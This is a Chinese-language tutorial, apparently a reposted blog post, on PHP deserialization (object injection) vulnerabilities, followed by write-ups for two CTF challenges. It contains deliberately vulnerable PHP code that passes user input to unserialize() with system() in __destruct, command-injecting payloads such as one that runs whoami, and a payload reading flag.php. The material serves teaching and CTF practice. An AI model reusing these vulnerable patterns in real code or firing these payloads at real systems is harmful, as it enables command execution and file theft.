web安全PHP反序列化
Posted 遗憾zzz
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了web安全PHP反序列化相关的知识,希望对你有一定的参考价值。
一、PHP反序列化漏洞原理
php 反序列化漏洞又叫做 PHP 对象注入漏洞,未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,而序列化的对象只含有对象的属性,那我们就要利用对对象属性的篡改实现最终的攻击。从而导致代码执行,SQL注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法,当进行反序列化的时候就有可能会触发对象中的一些魔术方法。
我们看如下代码来理解序列化和反序列化
<?php
class demotest{
public $name='test';
public $sex='man';
public $age='17';
}
$example = new demotest(); // 创建一个对象赋值给 example变量
$s = serialize($example); // 把example变量 序列化
$u = unserialize($s);// 反序列化
echo $s.'<br>';
var_dump($u);
?>
序列化:将各种类型的数据对象转换成一定的格式(数组或字符串的形式)存储,其目的是为了将一个对象通过可保存的字节方式存储起来这样就可以将序列化字节存储到数据库或者文本当中,当需要的时候再通过反序列化获取。
序列化简单的来说就是把对象转换为数组或字符串等格式,serialize()将一个对象转换成一个字符串
反序列化:反序列化就是将格式化的序列化字符串进行还原,还原出我们想要的对象,实现属性的和方法的调用。那么攻击者就是利用这一点进行攻击,如果序列化的字符串内容被修改,对象的属性可能就会被修改,这就是反序列化攻击的核心原理。
反序列化简单的来说就是将数组或字符串等格式转化为对象,unserialize()将字符串还原为一个对象,在PHP应用中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。
为什么要进行序列化和反序列化?
1.序列化可以实现将对象压缩并格式化,方便数据的传输和存储。
2.PHP文件在执行结束时会把对象销毁,如果下次要引用这个对象的话就很麻烦,但是又不能总是存储这一对象,所以就有了对象序列化,实现对象的长久存储,对象序列化之后存储起来,下次调用时直接调出来反序列化之后就可以使用了。
比如传递参数?s=class demotest{public $name='test';public $sex='man';public $age='17';}
,这样传递显然不行因为有换行缩进等原因,但如果是传递?s=O:8:"demotest":3:{s:4:"name";s:4:"test";s:3:"sex";s:3:"man";s:3:"age";s:2:"17";}
这样传递的话php进行识别的时候就会很方便
那现在来分析下面这个序列化
O:8:"demotest":3:{s:4:"name";s:4:"test";s:3:"sex";s:3:"man";s:3:"age";s:2:"17";}
首先O代表object对象然后,8代表对象的长度有8位,demotest为对象的名称,3代表有3个变量,s代表是string类型,4代表变量名的长度,name变量名的名称,然后就是s代表是string类型,3代表变量name的值test的长度,test代表变量值这样依次类推
为什么出现安全漏洞?
先理解魔术方法和对象创建如以下代码
<?php
class A{
function __destruct(){
echo '__destruct'.'<br>';
}
function __construct(){
echo 'test'.'<br>';
}
}
//有创建对象引用,无需函数
$testa = new A();
?>
这段代码是有创建对象引用,无需函数
php内置魔术方法知识如下:
触发:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法:
__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
参考:https://www.cnblogs.com/20175211lyz/p/11403397.html
序列化和反序列化操作的代码如下
<?php
class B{
function __destruct(){
system('ipconfig');
}
function __construct(){
echo 'test'.'<br>';
}
}
//无创建对象引用,函数可调用
unserialize($_GET[x]);
?>
无创建对象引用,函数可调用,这里如果传入参数为序列化后的字符串或数组,然后unserialize会把它还原成为对象,就调用了php内置魔术方法,也就是说当反序列函数存在的时候,存在可控变量,我们调用任何对象就可以执行其中的魔术方法
payload:?x=O:1:"B":1:{s:4:"test";s:5:"ver";}
无创建对象引用,函数引用变量自定义代码如下
<?php
class C{
public $cmd='ipconfig';
function __destruct(){
system($this->cmd);
}
function __construct(){
echo 'test'.'<br>';
}
}
unserialize($_GET[c]);
?>
这里的变量$cmd是可以进行覆盖的payload如下:
?c=O:1:"C":1:{s:3:"cmd";s:6:"whoami";}
当使用序列化或反序列化的函数进行操作的时候,其中如果出现可控变量,我们利用变量尝试调用对象触发其中的魔术方法,实现将对象的变量值进行覆盖自定义,从而达到我们想要的结果
二、CTF中的PHP反序列化
1.bugku一道反序列化题目
这里我们先把cookie的序列化为key,然后得到flag
序列化得到:s:21:"ISecer:www.isecer.com";
,然后我们开始给cookie的ISecer变量赋值为s:21:"ISecer:www.isecer.com";
发现并没有得到flag,经过分析发现,在if判断的时候,只有当不执行第一个if,才会进行下一个elseif。然后就是变量赋值顺序问题,变量key赋值的位置是在比较之后的,所以此时变量key应该是为空(Null),所以重新调整一下序列化
序列化得到:s:0:"";
最终Cookie:ISecer=s:0:"";
拿到flag
2.[网鼎杯 2020 青龙组]AreUSerialz
源码如下:
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) { //检查对象变量是否已经实例化,即实例变量的值是否是个有效的对象。
$obj = unserialize($str);
}
}
通过源码分析发现存在反序列化漏洞,这里由get传参给变量str,接着通过is_valid()函数进行检测是否合法,最后将变量str反序列化赋值给变量obj 还原成对象,调用php内置的魔术方法。
代码里面需要注意的是
1、is_valid()
函数规定字符的ASCII码必须是32-125,只能包含ascii可见字符,如果出现其他的字符则会返回false,而protected序列化出现的%00标识被url解码后ascii值为0不符合要求。但是因为php7.1+对类属性的检测不严格,所以可以直接用public来进行序列化。
2.在反序列化时首先会调用__destruct()
函数,__destruct()
会检测op值是否为"2",如果为"2"就会令op=“1”,由于是===
必须是类型和数值都等于"2",所以可以让op等于数字2来绕过,然后__destruct()
会调用process()
,process()
中如果op值为2将会执行read()
函数,会读取fliename的文件,所以我们需要将op=2,filename='flag.php’进行序列化。
3.__destruct()
魔术方法中,op===
"2"是强比较,而process()
使用的是弱比较op==
"2",可以通过弱类型绕过。
经过上面分析后构造序列化如下
payload:
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:8:"conetent";s:2:"xx";}
最终拿到flag
wp参考:https://blog.csdn.net/Oavinci/article/details/106998738
https://blog.csdn.net/m0_46246804/article/details/108746253
md5弱类型:https://blog.csdn.net/qq_43431158/article/details/103265404
以上是关于web安全PHP反序列化的主要内容,如果未能解决你的问题,请参考以下文章